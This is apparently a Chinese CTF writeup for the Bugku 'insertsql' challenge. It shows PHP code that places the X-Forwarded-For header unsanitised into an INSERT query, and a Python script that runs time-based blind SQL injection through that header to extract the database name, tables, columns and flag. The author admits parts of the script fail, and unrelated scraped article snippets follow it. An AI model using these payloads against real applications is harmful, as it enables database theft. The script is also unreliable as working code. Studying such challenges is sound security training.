bugku insertsql
0X00题目给出的PHP代码
error_reporting(0); function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0]; } $host="localhost";
$user="";
$pass="";
$db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //将得到的IP插入到数据库
mysql_query($sql);
0x01 insert sql漏洞
将消息插入数据库
一般出现地方:电商生成订单接口存在INSERT型SQL注入漏洞,可修改订单金额数据,生成订单时会往数据库插入数据,但此处使用了动态查询语句的方式进行插入,通过注入数据可以达到篡改订单数据的目的
本题注入点X_FORWARDED_FOR
0x02 Python 脚本:
import requests
import sys
import string def getdblen(url): #获得库名长度
sql="1'+(select case when(select length(database())={0}) then sleep(4) else 1 end) and '1'='1"
for i in range(1,50):
header={'X-Forwarded-For':sql.format(str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("database name len:",i)
break def gettablelen(url): #获得数据表名长度 没有输出 不知道错误在哪 很烦~~,查不到错误。有没有limit 都没有输出
#limit的作用是查询到好几行数据,选取其中的几行 limit 1,1就是 第二行一行的数据(从0开始计算行数)
sql="'+(select case when(select length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}) then sleep(4) else 1 end) and '1'='1"
for n in range(0,5):
for i in range(1,20):
header={'X-Forwarded-For':sql.format(str(n),str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("table %s name len:%d"%(n,i))
break def getdb(url):
database_name=''
sql="1' and (case when (substr((select database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#逐个字母破解数据库名,{0}、{1}相当于标记了两处变量,用于下面的format语句
for i in range(1,10): #猜测数据库名字在9个字符以内
for str in range(32,129): #通过循环,逐个字母匹配
if chr==128:
sys.exit(0)#如果没有匹配,就退出循环
header={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
database_name+=chr(str)
print(database_name)
break
return database_name def gettable(url):
table_name=''
payload="'+(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(1,50):
#print(i)
for str in guess:
if ord(str)==128:
sys.exit(0)
header={'X-Forwarded-For':payload.format(i,str)}
try:
s=requests.get(url,headers=header,timeout=3)
except:
table_name+=str
print(table_name)
break
return table_name def getcolumn(url):
column_name=''
sql="'+(select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(20):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
column_name+=chr(str)
print(column_name)
break
return column_name def getmessage(url):
message=''
sql="'+(select case when(substr((select group_concat(flag) from flag)from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,35):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
message+=chr(str)
print(message)
break
return message if __name__=='__main__':
url="http://123.206.87.240:8002/web15/"
print(getdb(url))
#tablename = gettable(url)
#print(tablename)
#columname = getcolumn(url)
#message=getmessage(url) #print(temp.lower())
#getdblen(url)
#gettablelen(url)
#getdb(url)
代码借鉴了其他人的wp,并加上自己的一点想法,查询名长度等
总结:要加强写脚本的能力,多学习mysql语句,有好几个语句是因为不对才没有注入成功的。
bugku insertsql的更多相关文章
- bugku login2 writeup 不使用vps的方法
0x00前言 这个题是sql注入与命令执行相结合的一个题,思路有两个: 一.:sql注入登录web系统,命令执行反弹公网IP监听端口(需要vps),此种方法详见链接:http://www.bugku. ...
- bugku 密码学一些题的wp
---恢复内容开始--- 1.滴答滴 摩斯密码,http://tool.bugku.com/mosi/ 2.聪明的小羊 从提示猜是栅栏密码,http://tool.bugku.com/jiemi/ 3 ...
- 于bugku中游荡意外得到关于CBC翻转攻击思路
个人简介:渣渣一枚,萌新一个,会划水,会喊六六今天在bugku遇到关于CBC翻转攻击的题目,总结了一下关于CBC翻转攻击的原理,以及关于这道题目的解题思路个人博客:https://www.cnblog ...
- http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)
这一道题目,幸好俺有基础知识护体,不然还真干不掉. 首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...
- http://www.bugku.com:Bugku——备份是个好习惯(http://120.24.86.145:8002/web16/)
看了bugku的这道题,陌生又熟悉. 题目首先说[备份是个好习惯],访问网站只有一串字符,,,,,emmmmm,这句话表明人家经常做备份,所以咯,肯定在网站哪里备份有网页信息.嘻嘻 1 ...
- http://www.bugku.com:Bugku——jsfuckWEB5(http://120.24.86.145:8002/web5/index.php)
今天又做了bugku上面的一道题.使用到了jsfuck,它是什么捏? 它是Javascript原子化的一种简易表达方式,用[]()!+就可以表示所有的Javascript字符,不依赖于浏览器. ...
- http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)
Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...
- Bugku——Flag在index里(http://120.24.86.145:8005/post/)
Bugku——Flag在index里(http://120.24.86.145:8005/post/) 进入题目发现有一个file参数,查看源码,发现该参数可以包含php文件,并且题目提示,flag在 ...
- BugKu 2B+基于python的opencv的安装-------CTF 盲水印的套路
BugKu杂项-2B 下载图片后,binwalk下跑一跑,发现有个zip,分离. 值得一提的是,这个zip是伪加密的. 但是你在分离的时候,伪加密的图片也给你分离出来了.这两个图片2B和B2肉眼看起来 ...
随机推荐
- python-分割url字符串
url = ' http://images.jupiterimages.com/common/detail/27/68/22986827.jpg' url.strip().split('/')[-1] ...
- 12-numpy笔记-莫烦基本操作2
代码 import numpy as np A = np.arange(3,15) print('-1-') print(A) print('-2-') print(A[3]) A = np.aran ...
- LeetCode 110. Balanced Binary Tree平衡二叉树 (C++)
题目: Given a binary tree, determine if it is height-balanced. For this problem, a height-balanced bin ...
- tf.tile() 用法介绍
tile() 平铺之意,用于在同一维度上的复制 tile( input, #输入 multiples, #同一维度上复制的次数 name=None ...
- java第三讲课后动手动脑及代码编写
1. 类就是类型,对象就是这种类型的实例,也就是例子.类是抽象的东西,对象是某种类的实实在在的例子.例如:车是一个类,汽车,自行车就是他的对象. 对象的定义方法? (1)对象声明:类名 对象名: (2 ...
- 003VlookUp的使用
在Excel中,Vlookup这个函数还是挺有用的 我最近在一个场景中使用到VlookUp函数,使用场景是 我们将学生名单导入到学业上报系统的时候,发现Excel中有 79条数据但是导入成功的提示是说 ...
- 记一次排错经历,requests和fake_useragent
在部署tornado项目上线时, 首次重启服务后第一次请求必然会报错, 后续的就能正常访问, 长报错urllib.error.URLError,如图排查多次依然发现不了问题 报的最多的依然是上图中的错 ...
- 日常笔记3关于bool类型数组初始化的问题
一般会有两种考虑,全为true或全为false 赋值方式: <1>memset(boolArray,0,sizeof(Array)); 头文件:#include<cstring> ...
- [LeetCode] 264. Ugly Number II 丑陋数之二
Write a program to find the n-th ugly number. Ugly numbers are positive numbers whose prime factors ...
- Consul 使用手册(感觉比较全了)
HTTP API consul的主要接口是RESTful HTTP API,该API可以用来增删查改nodes.services.checks.configguration.所有的endpoints主 ...